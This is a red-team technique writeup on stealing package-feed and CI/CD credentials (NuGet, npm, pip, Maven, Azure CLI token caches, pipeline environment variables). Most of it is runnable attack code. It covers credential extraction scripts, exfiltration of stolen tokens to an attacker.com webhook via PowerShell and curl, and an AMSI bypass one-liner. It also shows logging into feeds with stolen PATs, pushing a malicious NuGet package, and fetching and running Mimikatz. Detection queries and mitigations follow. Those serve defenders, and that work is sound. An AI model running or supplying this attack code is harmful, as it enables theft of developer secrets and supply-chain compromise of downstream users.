| Attribute | Details |
|---|---|
| Technique ID | CA-TOKEN-017 |
| MITRE ATT&CK v18.1 | Steal Application Access Token (T1528) |
| Tactic | Credential Access |
| Platforms | Entra ID / DevOps / M365 |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-08 |
| Affected Versions | Azure DevOps (All versions), NuGet 4.0+, .NET 4.5+, PowerShell 3.0+ |
| Patched In | Mitigation via credential management best practices |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 4 (Environmental Reconnaissance) and 6 (Atomic Red Team) not included because: (1) No specific Atomic test exists for NuGet credential theft in the public library, (2) Reconnaissance for package source credentials is implicit in execution methods. All section numbers have been dynamically renumbered based on applicability.
Concept: Package source credential theft targets the authentication mechanisms used by developers and CI/CD systems to access private NuGet feeds, npm registries, Maven repositories, and other package management systems hosted on Azure DevOps or cloud-based infrastructure. Attackers who compromise a developer’s machine, CI/CD pipeline, or build agent can extract credentials stored in plaintext or weakly encrypted configuration files (e.g., nuget.config, .npm, .maven, pip.ini), authentication caches, or environment variables. These credentials (Personal Access Tokens, API keys, or service principal secrets) grant access to proprietary package sources and CI/CD automation, enabling unauthorized code injection, lateral movement, supply chain attacks, and data exfiltration.
Attack Surface:
~/.azure, %USERPROFILE%\.nuget, .m2/settings.xml)Business Impact: Complete compromise of package repositories and CI/CD pipelines. An attacker with stolen package credentials can:
Technical Context: Package source credential theft typically occurs post-exploitation (after gaining initial access to a developer workstation, build agent, or cloud VM). The attack is rapid—credentials can be extracted in seconds—and has moderate-to-low detection likelihood if the attacker uses native tooling and avoids triggering EDR alerts. Reversibility is impossible once credentials are used; only remediation via credential rotation prevents ongoing abuse.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 2.1.3 / 2.2.2 | Ensure credentials are not hard-coded in configuration files; Enforce credential management policies |
| DISA STIG | SI-4 (WN10-00-000001) | Monitor system for unauthorized access; implement secure secret storage |
| CISA SCuBA | ID.AM-3 | Asset management: Inventory and manage all authentication mechanisms |
| NIST 800-53 | AC-2, SA-3 | Account management; System development lifecycle security |
| GDPR | Art. 32 | Security of Processing; implement technical measures to protect personal data |
| DORA | Art. 9 | Protection and Prevention of information security incidents |
| NIS2 | Art. 21 | Cyber Risk Management Measures; incident response and monitoring |
| ISO 27001 | A.6.1.2, A.9.2.3 | Access control implementation; privileged access rights management |
| ISO 27005 | Risk Scenario: “Compromise of Authentication Credentials” | Unauthorized access via stolen tokens/secrets |
Required Privileges:
Required Access:
Supported Versions:
Tools:
Supported Versions: All (Windows, macOS, Linux)
Objective: Discover all nuget.config files on the system that may contain package source credentials.
Command (Windows PowerShell):
# Search for nuget.config files in common locations
$configPaths = @(
"$env:USERPROFILE\.nuget\nuget.config",
"$env:APPDATA\.nuget\nuget.config",
"$env:ProgramFiles\NuGet\Config",
"C:\Program Files (x86)\NuGet\Config",
"$env:USERPROFILE\AppData\Local\NuGet",
(Get-ChildItem -Path $env:USERPROFILE -Filter "nuget.config" -Recurse -ErrorAction SilentlyContinue).FullName
)
foreach ($path in $configPaths) {
if (Test-Path $path) {
Write-Host "[+] Found: $path" -ForegroundColor Green
Get-Item $path
}
}
# Alternative: Search across entire filesystem (requires admin)
Get-ChildItem -Path C:\ -Filter "nuget.config" -Recurse -ErrorAction SilentlyContinue | Select-Object -Property FullName, LastWriteTime
Command (Linux/macOS Bash):
# Search for nuget.config in standard locations
find $HOME -name "nuget.config" -type f 2>/dev/null
find /etc -name "nuget.config" -type f 2>/dev/null
locate nuget.config 2>/dev/null
# Search across entire filesystem (requires time and permissions)
find / -name "nuget.config" -type f 2>/dev/null | head -20
Expected Output:
[+] Found: C:\Users\developer\.nuget\nuget.config
[+] Found: C:\Projects\MyProject\nuget.config
What This Means:
nuget.config file is a potential source of credentials~/.nuget/ are user-level and likely to contain PATs or API keysnuget.config files in source repositories may also store credentialsObjective: Parse nuget.config XML and extract plaintext or weakly encrypted credentials.
Command (Windows PowerShell):
# Read and parse nuget.config
$configPath = "$env:USERPROFILE\.nuget\nuget.config"
if (Test-Path $configPath) {
[xml]$config = Get-Content $configPath
# Extract package source credentials
$credentials = $config.configuration.packageSourceCredentials.ChildNodes
foreach ($source in $credentials) {
Write-Host "[+] Package Source: $($source.Name)" -ForegroundColor Yellow
foreach ($cred in $source.ChildNodes) {
$key = $cred.key
$value = $cred.value
if ($key -eq "Username") {
Write-Host " Username: $value" -ForegroundColor Green
}
elseif ($key -in @("ClearTextPassword", "Password")) {
Write-Host " $key`: $value" -ForegroundColor Red
}
}
}
}
Command (Linux/macOS Bash):
CONFIG_PATH="$HOME/.nuget/nuget.config"
if [ -f "$CONFIG_PATH" ]; then
echo "[+] Extracting credentials from $CONFIG_PATH"
grep -A 5 "<packageSourceCredentials>" "$CONFIG_PATH" | grep -E "(Username|Password|ClearTextPassword)" | sed 's/.*value="\([^"]*\)".*/\1/'
fi
# Alternative using Python for XML parsing
python3 << 'EOF'
import xml.etree.ElementTree as ET
config_path = f"{os.path.expanduser('~')}/.nuget/nuget.config"
if os.path.exists(config_path):
tree = ET.parse(config_path)
root = tree.getroot()
for source in root.findall('.//packageSourceCredentials'):
for child in source:
print(f"[+] Source: {child.tag}")
for cred in child:
print(f" {cred.get('key')}: {cred.get('value')}")
EOF
Expected Output:
[+] Package Source: fabrikam-devops-artifacts
Username: devops@company.com
ClearTextPassword: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
What This Means:
ClearTextPassword or Password entries contain API tokens or PATsOpSec & Evasion:
-ErrorAction SilentlyContinue to suppress errors and reduce logs-NoProfile -NonInteractive to bypass logging[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)Troubleshooting:
Get-ChildItem -Recurse -Filter "nuget.config"Get-Content -Encoding UTF8 or read as plain text and extract with regexObjective: Steal extracted credentials for later use by the attacker.
Command (Windows PowerShell - Send via HTTPS):
# Exfiltrate credentials to attacker-controlled server
$credentials = "devops@company.com:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
$webhookUrl = "https://attacker.com/webhook"
$body = @{
credentials = $credentials
hostname = $env:COMPUTERNAME
username = $env:USERNAME
timestamp = (Get-Date).ToString("yyyy-MM-dd HH:mm:ss")
} | ConvertTo-Json
try {
Invoke-WebRequest -Uri $webhookUrl -Method POST -Body $body -ContentType "application/json" -UseBasicParsing
Write-Host "[+] Credentials exfiltrated successfully" -ForegroundColor Green
}
catch {
Write-Host "[-] Exfiltration failed: $_" -ForegroundColor Red
}
Command (Linux Bash - Using curl):
CREDS="devops@company.com:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
WEBHOOK_URL="https://attacker.com/webhook"
HOSTNAME=$(hostname)
USERNAME=$(whoami)
TIMESTAMP=$(date "+%Y-%m-%d %H:%M:%S")
curl -X POST \
-H "Content-Type: application/json" \
-d "{\"credentials\":\"$CREDS\",\"hostname\":\"$HOSTNAME\",\"username\":\"$USERNAME\",\"timestamp\":\"$TIMESTAMP\"}" \
"$WEBHOOK_URL" 2>/dev/null
Expected Output:
[+] Credentials exfiltrated successfully
What This Means:
Supported Versions: Azure DevOps, GitHub Actions, GitLab CI, Jenkins (All versions)
Objective: Discover environment variables that contain PATs, API keys, or service principal secrets in CI/CD pipeline contexts.
Command (PowerShell in Azure Pipelines):
# List all environment variables (many CI/CD systems expose secrets as env vars)
Write-Host "[+] Environment Variables with potential credentials:" -ForegroundColor Yellow
# Common patterns for secrets in environment variables
$secretPatterns = @(
"*TOKEN*",
"*PASSWORD*",
"*SECRET*",
"*KEY*",
"*PAT*",
"*CREDENTIAL*",
"*APIKEY*"
)
$allEnvVars = Get-ChildItem env:
foreach ($pattern in $secretPatterns) {
$matches = $allEnvVars | Where-Object {$_.Name -like $pattern}
foreach ($match in $matches) {
Write-Host " $($match.Name): $(($match.Value).Substring(0, [Math]::Min(20, $match.Value.Length)))..." -ForegroundColor Green
}
}
# Dump entire environment for CI/CD tokens
Write-Host "`n[+] System.AccessToken (Azure Pipelines):" -ForegroundColor Yellow
if ($env:SYSTEM_ACCESSTOKEN) {
Write-Host " SYSTEM_ACCESSTOKEN: $($env:SYSTEM_ACCESSTOKEN.Substring(0, 20))..." -ForegroundColor Red
}
# Check for .NET-specific credentials
Write-Host "`n[+] NuGet Feed Credentials (from env vars):" -ForegroundColor Yellow
if ($env:NUGET_CREDENTIALPROVIDER_SESSIONTOKEN) {
Write-Host " NUGET_CREDENTIALPROVIDER_SESSIONTOKEN: Found" -ForegroundColor Red
}
Command (Bash in Azure Pipelines / GitHub Actions):
echo "[+] Environment Variables with potential credentials:"
env | grep -iE "(TOKEN|PASSWORD|SECRET|KEY|PAT|CREDENTIAL|APIKEY)" | while read line; do
VAR_NAME=$(echo "$line" | cut -d'=' -f1)
VAR_VALUE=$(echo "$line" | cut -d'=' -f2)
if [ ! -z "$VAR_VALUE" ]; then
echo " $VAR_NAME: ${VAR_VALUE:0:20}..."
fi
done
# Azure Pipelines-specific
echo ""
echo "[+] Azure Pipelines System.AccessToken:"
echo " SYSTEM_ACCESSTOKEN: ${SYSTEM_ACCESSTOKEN:0:20}..."
# GitHub Actions-specific
echo ""
echo "[+] GitHub Actions secrets:"
env | grep "^GITHUB_TOKEN\|^INPUT_" | head -5
Expected Output:
[+] Environment Variables with potential credentials:
SYSTEM_ACCESSTOKEN: eyJ0eXAiOiJKV1QiLCJhb...
FEED_PAT: gqv6blyprd7yqrvyzx4a...
AZURE_CLIENT_SECRET: abCdEf123456789gHiJk...
What This Means:
SYSTEM_ACCESSTOKEN is a short-lived PAT provided by Azure Pipelines for that buildFEED_PAT are developer-created secrets (often long-lived)Objective: Authenticate to Azure Artifacts feed using the stolen PAT.
Command (PowerShell):
# Build credentials object from stolen PAT
$pat = "gqv6blyprd7yqrvyzx4a"
$base64pat = [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes(":$pat"))
$headers = @{
"Authorization" = "Basic $base64pat"
}
# Query Azure Artifacts feed for packages
$feedUrl = "https://pkgs.dev.azure.com/company/_packaging/internal-feed/nuget/v3/index.json"
try {
$response = Invoke-WebRequest -Uri $feedUrl -Headers $headers -UseBasicParsing
Write-Host "[+] Successfully authenticated to feed" -ForegroundColor Green
Write-Host " Feed URL: $feedUrl" -ForegroundColor Yellow
}
catch {
Write-Host "[-] Authentication failed: $_" -ForegroundColor Red
}
Command (Bash):
PAT="gqv6blyprd7yqrvyzx4a"
FEED_URL="https://pkgs.dev.azure.com/company/_packaging/internal-feed/nuget/v3/index.json"
# Encode PAT for Basic auth
ENCODED_PAT=$(echo -n ":$PAT" | base64)
# Query feed
curl -s -H "Authorization: Basic $ENCODED_PAT" "$FEED_URL" | head -20
echo "[+] Feed authenticated and queried"
Expected Output:
[+] Successfully authenticated to feed
Feed URL: https://pkgs.dev.azure.com/company/_packaging/internal-feed/nuget/v3/index.json
What This Means:
Supported Versions: macOS 10.12+, Linux (Ubuntu, CentOS, etc.)
Objective: Steal cached Azure credentials from ~/.azure directory.
Command (Bash):
AZURE_CONFIG="$HOME/.azure"
if [ -d "$AZURE_CONFIG" ]; then
echo "[+] Extracting Azure CLI cached credentials..."
# List cached subscriptions and access tokens
if [ -f "$AZURE_CONFIG/msal_token_cache.json" ]; then
echo "[+] Found MSAL token cache:"
cat "$AZURE_CONFIG/msal_token_cache.json" | grep -o '"access_token":"[^"]*"' | head -3
fi
# Extract cloud configuration
if [ -f "$AZURE_CONFIG/clouds.config" ]; then
echo "[+] Cloud endpoints:"
cat "$AZURE_CONFIG/clouds.config"
fi
# List all files
echo "[+] Contents of ~/.azure:"
ls -la "$AZURE_CONFIG/"
fi
Expected Output:
[+] Found MSAL token cache:
"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjQy..."
What This Means:
Objective: Decode stolen JWT tokens to understand their permissions and validity.
Command (Bash + Python):
#!/bin/bash
# Decode JWT token from cache
TOKEN="eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjQy..."
python3 << 'EOF'
import json
import base64
import sys
def decode_jwt(token):
try:
# JWT format: header.payload.signature
parts = token.split('.')
# Decode payload (add padding if needed)
payload = parts[1] + "=" * (4 - len(parts[1]) % 4)
decoded = base64.urlsafe_b64decode(payload)
data = json.loads(decoded)
print("[+] JWT Decoded:")
print(json.dumps(data, indent=2))
# Extract useful info
print("\n[+] Token Details:")
print(f" Issued at (iat): {data.get('iat', 'N/A')}")
print(f" Expires (exp): {data.get('exp', 'N/A')}")
print(f" User: {data.get('upn', 'N/A')}")
print(f" App ID: {data.get('appid', 'N/A')}")
except Exception as e:
print(f"[-] Error decoding token: {e}")
token = sys.argv[1] if len(sys.argv) > 1 else "$TOKEN"
decode_jwt(token)
EOF
Expected Output:
[+] JWT Decoded:
{
"aud": "https://management.azure.com/",
"iss": "https://sts.windows.net/tenant-id/",
"iat": 1704710400,
"exp": 1704714000,
"upn": "developer@company.onmicrosoft.com",
"appid": "04b07795-8ddb-461a-bbee-02f9e1bf7b46",
...
}
[+] Token Details:
Issued at (iat): 1704710400
Expires (exp): 1704714000
User: developer@company.onmicrosoft.com
App ID: 04b07795-8ddb-461a-bbee-02f9e1bf7b46
What This Means:
exp (expiration) is typically 1 hour, but refresh tokens extend thisSupported Versions: npm 5.0+, pip 19.0+, Maven 3.0+
Objective: Steal npm registry tokens from ~/.npmrc.
Command (Bash):
NPM_RC="$HOME/.npmrc"
if [ -f "$NPM_RC" ]; then
echo "[+] npm credentials found:"
cat "$NPM_RC" | grep -E "(_authToken|_auth|password)" | grep -v "^;" | grep -v "^#"
fi
# Also check global npmrc
if [ -f "/etc/npmrc" ]; then
echo "[+] Global npm config:"
cat "/etc/npmrc" | grep -E "(_authToken|_auth)"
fi
# Check npm cache directory for token usage
echo "[+] npm cache token usage:"
find "$HOME/.npm" -type f -exec grep -l "authToken" {} \; 2>/dev/null | head -5
Expected Output:
//registry.npmjs.org/:_authToken=npm_abcdef123456789ghijklmnop
//mycompany.jfrog.io/artifactory/api/npm/npm-local/:_auth=YWRtaW46aWZyb2d0ZGVmYXVsdA==
What This Means:
_authToken is the npm registry authentication token_auth is Base64-encoded username:passwordObjective: Steal pip repository credentials from config files and environment.
Command (Bash):
# Check pip config
PIP_CONFIG="$HOME/.pip/pip.conf"
if [ -f "$PIP_CONFIG" ]; then
echo "[+] pip config:"
cat "$PIP_CONFIG" | grep -iE "(username|password|token|index)"
fi
# Check .pypirc (Python package index credentials)
PYPIRC="$HOME/.pypirc"
if [ -f "$PYPIRC" ]; then
echo "[+] PyPI credentials:"
cat "$PYPIRC" | grep -iE "(username|password|repository)"
fi
# Check environment variables
echo "[+] Python/pip environment secrets:"
env | grep -iE "(PIP_|TWINE_|PYPI_)"
Expected Output:
[+] pip config:
[global]
index-url = https://username:password@pypi.company.com/simple/
index-servers =
pypi
company-pypi
[pypi]
repository = https://upload.pypi.org/legacy/
username = myuser
password = mypassword
Objective: Steal Maven repository credentials from ~/.m2/settings.xml.
Command (Bash):
M2_SETTINGS="$HOME/.m2/settings.xml"
if [ -f "$M2_SETTINGS" ]; then
echo "[+] Maven credentials found:"
grep -A 2 "<server>" "$M2_SETTINGS" | grep -E "(id|username|password)"
fi
Expected Output:
<id>company-artifacts</id>
<username>devops</username>
<password>XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</password>
Version: 2.40+
Minimum Version: 2.0
Supported Platforms: Windows, macOS, Linux
Installation (Windows):
# Using WinGet
winget install Microsoft.AzureCLI
# Using Chocolatey
choco install azure-cli
# Manual download
# Visit https://aka.ms/InstallAzureCLIDev
Usage:
# Login with stolen token
az devops login --organization https://dev.azure.com/company --token "gqv6blyprd7yqrvyzx4a"
# List artifact feeds
az artifacts universal list-feed
# Download packages from feed
az artifacts universal download --feed internal-feed --name MyPackage --version 1.0.0
Version: 5.0+
Minimum Version: 4.0
Supported Platforms: Windows, macOS, Linux (.NET CLI)
Installation:
# Download directly
Invoke-WebRequest -Uri "https://dist.nuget.org/win-x86-commandline/latest/nuget.exe" -OutFile "C:\Tools\nuget.exe"
# Or use dotnet CLI (preferred)
dotnet tool install --global nuget
Usage:
# Add package source with stolen credentials
nuget sources add -name "private-feed" -source "https://pkgs.dev.azure.com/company/_packaging/internal-feed/nuget/v3/index.json" -Username "PAT_USERNAME" -Password "gqv6blyprd7yqrvyzx4a"
# List packages from feed
nuget list -Source "private-feed"
# Push malicious package (supply chain attack)
nuget push "MaliciousPackage.1.0.0.nupkg" -Source "private-feed"
Version: Latest (2.2.0-20220519)
For: Extracting cached credentials from memory and credential manager
Installation:
# Download from GitHub
$repo = "gentilkiwi/mimikatz"
$release = Invoke-WebRequest -Uri "https://api.github.com/repos/$repo/releases/latest" | ConvertFrom-Json
$zip = $release.assets[0].browser_download_url
Invoke-WebRequest -Uri $zip -OutFile "mimikatz.zip"
Expand-Archive -Path "mimikatz.zip" -DestinationPath "C:\Tools\mimikatz"
Usage (Extracting CredMan):
mimikatz # token::list # List access tokens in memory
mimikatz # dpapi::cache # Extract cached credentials
mimikatz # vault::list # List Windows Credential Manager entries
Rule Configuration:
main, endpoint, or windowsWinEventLog:Security, XmlWinEventLogEventID, ObjectName, Account, AccessesSPL Query:
index=main sourcetype="WinEventLog:Security" EventID=4663 ObjectName="*nuget.config"
| stats count by Account, ObjectName, Accesses, Computer
| where count > 3
| table Computer, Account, ObjectName, count, Accesses
What This Detects:
nuget.config indicate exfiltration or reconnaissanceManual Configuration Steps (Splunk):
Number of results > 3Rule Configuration:
azure_activity, mainazure:aad:audit, AzureOperationalLogOperationName, InitiatedBy, AADTenantIdSPL Query (Azure Pipelines):
index=azure_activity OperationName="Build completed"
| search "System.AccessToken" OR "FEED_PAT" OR "SYSTEM_ACCESSTOKEN"
| table BuildID, InitiatedBy, System.AccessToken, TimeGenerated
SPL Query (Generic - Log Analysis):
index=main sourcetype="powershell" CommandLine="*Environment*TOKEN*" OR CommandLine="*env:*PASSWORD*"
| table TimeGenerated, User, CommandLine, ComputerName
What This Detects:
Source: Microsoft Security Engineering, Splunk Threat Research
dotnet restore with credentials (expected during builds)| where Account!="*svc_*" or whitelist known build serversRule Configuration:
SigninLogs, AuditLogs, AzureDevOpsAuditing (if available)ipAddress, UserPrincipalName, ResourceDisplayName, OperationNameKQL Query:
SigninLogs
| where AppDisplayName has_any("Azure DevOps", "Artifacts", "NuGet")
| where ClientAppUsed == "Other clients" or UserAgent has "nuget" or UserAgent has "dotnet"
| join kind=inner (
IdentityInfo
| project UserPrincipalName, isGuest
) on UserPrincipalName
| where isGuest == false
| project TimeGenerated, UserPrincipalName, AppDisplayName, IPAddress, ClientAppUsed, Location
| where IPAddress !in ("WHITELIST_IPS")
| summarize LoginCount = count() by UserPrincipalName, IPAddress, TimeGenerated bin=5m
| where LoginCount > 5
What This Detects:
NuGet.exe, dotnet) to package feedsManual Configuration Steps (Azure Portal):
Suspicious Package Feed Token UsageHigh5 minutes30 minutesManual Configuration Steps (PowerShell):
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
-DisplayName "Suspicious Package Feed Token Usage" `
-Query @"
SigninLogs
| where AppDisplayName has_any("Azure DevOps", "Artifacts", "NuGet")
| where ClientAppUsed == "Other clients"
"@ `
-Severity "High" `
-Enabled $true
Source: Microsoft Sentinel GitHub
Event ID: 4663 (File Object Access)
nuget.config, .npmrc, pip.conf, etc.ObjectName contains "nuget.config" AND Accesses contains "Read Data"Manual Configuration Steps (Group Policy):
# Add SACL to nuget.config
icacls "C:\Users\developer\.nuget\nuget.config" /grant:r "Everyone:(OI)(CI)F" /audit:s
gpupdate /force on target machinesExpected Log Entry:
Event ID: 4663
Task Category: File System
Accesses: Read Data (or Write Data)
ObjectName: C:\Users\developer\.nuget\nuget.config
Manual Steps (Azure DevOps Portal):
Manual Steps (PowerShell):
# Force MFA requirement for all users via Conditional Access
$caPolicy = New-AzConditionalAccessPolicy -DisplayName "Require MFA for DevOps Access" `
-Conditions (New-AzConditionalAccessConditionSet `
-Applications (New-AzConditionalAccessApplicationCondition -IncludeApplicationId "04b07795-8ddb-461a-bbee-02f9e1bf7b46") `
-Users (New-AzConditionalAccessUserCondition -IncludeUserIds "All")) `
-GrantControls (New-AzConditionalAccessGrantControls -Operator "OR" -AuthenticationStrength "Mfa")
Manual Steps:
Manual Steps (Azure Pipelines):
trigger:
- main
pool:
vmImage: 'ubuntu-latest'
steps:
- task: CredScan@2
inputs:
toolMajorVersion: 'V2'
Manual Steps (GitHub):
Manual Steps (Azure Portal):
Manual Steps:
Conditional Access Policy: Block Risky Logins to Azure DevOps
Manual Steps:
Block Risky Logins to DevOpsRBAC Configuration: Least Privilege Feed Access
Manual Steps (Azure DevOps):
Validate RBAC Configuration (PowerShell):
# Check Azure DevOps feed permissions
$org = "company"
$project = "MyProject"
$feedName = "internal-feed"
az devops configure --defaults organization=https://dev.azure.com/$org project=$project
az artifacts universal feed show --feed $feedName --query "permissions"
Expected Output (Secure):
"permissions": [
{
"identityDescriptor": "Microsoft.IdentityModel.Claims.ClaimsIdentity;...",
"role": "reader"
}
]
C:\Users\*\.nuget\nuget.config$HOME/.npmrc$HOME/.pypirc$HOME/.m2/settings.xml$HOME/.azure/* (token cache files)HKCU\Software\Microsoft\NuGet (cached credentials)HKCU\Software\npm (npm registry tokens)pkgs.dev.azure.com, npmjs.org, pypi.org/nuget/v3/ endpointsnuget.config filesC:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt)nuget.exe, dotnet restore, npm installSigninLogs table: Non-interactive logins to Azure DevOpsAuditLogs table: Package feed access, feed permission changesDevOpsAuditing table (if enabled): Package publish, feed modification~/.bash_history, ~/.zsh_history (commands with tokens)Immediate (0-1 hour):
Isolate:
# If machine is compromised, disconnect from network
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
Rotate Credentials:
# Revoke all PATs for affected user
az devops login --organization https://dev.azure.com/company --token "NEW_ADMIN_TOKEN"
az devops user show --user-id affected-user@company.com
# Manually revoke PATs: Go to Azure DevOps → User Settings → Personal Access Tokens → Revoke All
Collect Evidence:
# Export Security Event Log
wevtutil epl Security C:\Evidence\Security.evtx
# Copy nuget.config files
Copy-Item -Path "$env:USERPROFILE\.nuget\*" -Destination "C:\Evidence\" -Recurse
# Export PowerShell history
Copy-Item -Path "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadline\*" -Destination "C:\Evidence\"
Short-term (1-8 hours):
Investigate:
Remediate:
# Force password reset for affected user
Set-AzureADUserPassword -ObjectId $userId -Password (New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "user", (ConvertTo-SecureString -String "NewPassword123!" -AsPlainText -Force)).Password -EnforceChangePasswordPolicy $true
# Invalidate all refresh tokens
Revoke-AzureADUserAllRefreshToken -ObjectId $userId
Long-term (8+ hours):
Monitor:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | IA-PHISH-001 | Phishing attack to compromise developer workstation or CI/CD agent |
| 2 | Execution | CA-DUMP-001 | LSASS memory dump to extract cached credentials |
| 3 | Current Step | [CA-TOKEN-017] | Package Source Credential Theft |
| 4 | Lateral Movement | CA-TOKEN-001 | Use stolen token to access Azure Management APIs |
| 5 | Persistence | PERSIST-ACCT-005 | Create persistent app registration with stolen service principal |
| 6 | Impact | Supply Chain Attack | Publish backdoored packages to compromise downstream consumers |